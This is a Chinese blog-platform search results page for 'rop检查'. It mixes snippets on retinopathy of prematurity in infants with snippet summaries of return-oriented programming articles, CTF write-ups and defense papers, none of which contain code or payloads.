  • 我科成功实施首例全麻下小儿眼底荧光造影检查守护健康中南眼科·伴你成长守护健康近日,武汉大学中南医院眼科成功为2名小患儿(分别为2个月和3个月)实施了本院第一例、第二例全麻下小儿眼底荧光造影(FFA)检查,并在...
  • 早产儿视网膜病变,临床上简称ROP (retinopathy of prematurity),是发生于未成熟或低体重儿的一种增殖性视网膜病变。早产或低体重出生儿出生时由于视网膜血管发育不完全,在随后的生长发育过程中未完全血管化的...
  • 摘要:本文将介绍一种用于防止返回导向编程(ROP)攻击的技术,称之为ROPGuard。ROPGuard在2012年Black Hat USA的微软BlueHat奖竞赛中获得二等奖(https://www.microsoft.com/security/bluehatprize/)。 该技术不需要...
  • 初探ROP

    千次阅读 2020-03-16 16:23:42
    文章目录0x01 前言0x02 什么是ROP0x03 为什么要ROP0x04 基本ROPret2shellcode含义从原理中解析ret2shellcode从例子中解析ret2shellcode发现利用点确定利用前提调试扩展点ret2text含义从例子中解析ret2text发现利用点...
  • Rop攻击

    千次阅读 2019-07-03 00:29:28
    参考:http://en.wikipedia.org/wiki/Return-oriented_programming Rop全称Return-Oriented Programming,就是对栈上的返回地址进行利用的一种攻击方式。 对于栈的利用经历了几个阶段,都是在“道高一尺,魔高一丈...
  • 1. 在32位程序中,参数是以什么形式进行传递的? 2. 在64位程序中,参数是以什么形式进行传递的? 3. 什么是return address? 4. 怎么利用控制栈空间来达到执行程序命令? 5. 32位中构造ROP 6. 64位中构造ROP
  • 蒸米ROP学习记录

    2020-12-02 10:50:25
    一步一步学ROP(x86):http://www.vuln.cn/6645 一步一步学ROP(x64):http://www.vuln.cn/6644 需要的工具(pattern.py):https://github.com/zhengmin1989/ROP_STEP_BY_STEP 文章目录参考链接32位简单的栈溢出...
  • ROP Emporium-split

    2022-01-05 16:22:20
    ROP Emporium是一个通过一系列的挑战来学习ROP的网站,ROP常用于PWN的场景,是CTF的必备技能
  • 目录预备知识关于ROP本系列rop实战题目的背景badchars涉及知识点实验目的实验环境实验步骤一实验步骤二实验步骤三 预备知识 关于ROP ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存...
  • 前言在本教程的第1部分中,我们已经演示了如何为我们的系统(3.13.0-32内核-Ubuntu 12.04.5 LTS)找到有用的ROP gadgets用来构建一个用来提权的ROP链。我们还开发了一个易受攻击的内核驱动程序,允许任意代码执行。这...
  • ROP链绕过DEP

    2019-08-02 16:31:01
    转载自ROP链绕过DEP 一、前言 1.1 DEP介绍 数据执行保护 (DEP) 是一套软硬件技术,能够在内存上执行额外检查以防止在不可运行的内存区域上执行代码。 在 Microsoft Windows XP Service Pack 2、 Microsoft Windows ...
  • 基本ROP

    千次阅读 2017-08-29 09:21:17
    攻击者们也提出来相应的方法来绕过保护,目前主要的是ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上(这一条之后不再重复提及),通过利用程序中已有的小片段(gadgets)来改变某些寄存器...
  • ROP是用来绕过NX保护的,开启 NX 保护的话栈、堆的内存空间就没有执行权限了,直接向栈或者堆上直接注入代码的攻击方式就无效了。 ROP的主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变...
  • ROP Emporium-callme

    2022-01-06 14:02:07
    ROP Emporium网站CTF相关PWN靶场callme,主要是PWN栈溢出中ROP技巧的练习
  • rop and rop2 wp

    2018-04-02 12:18:27
    题目来源:国外的一个ctf平台https://hackme.inndy.tw/ rop题目提示:ROP buffer overflow 很明显是一个栈溢出 要用rop来获取shell防护机制发现至开启了NX 拖到IDA反编译一下 可以看到有很多函数 ,不管是用到的...
  • picoctf_2018_rop chain

    2021-03-29 21:14:46
    先进行检查 32位 打开ida查看一下 vuln 函数存在溢出可以利用 又看到函数表有flag函数 win1 win2 和a1 存在条件 需要控制这3个参数变量 注意:0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的...
  • Marlin:一种新的随机方法来防御ROP攻击 Abstract: 摘要 Code-reuse attacks, such as return-oriented programming (ROP), bypass defenses against code injection by repurposing existing executable code ...
  • pwn1及ROP总结

    2020-11-08 07:31:29
    本题,用 checksec 检查二进制,发现开启了 CANARY、NX、以及 RELRO 保护,CANARY 是用 来检测栈溢出的,canary 是一个随机数,存储在栈里。程序通过对比栈里的 canary 值和读 取到的实际 canary 值进行对比,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,009
精华内容 803
关键字:

rop检查

友情链接: 寄存器.zip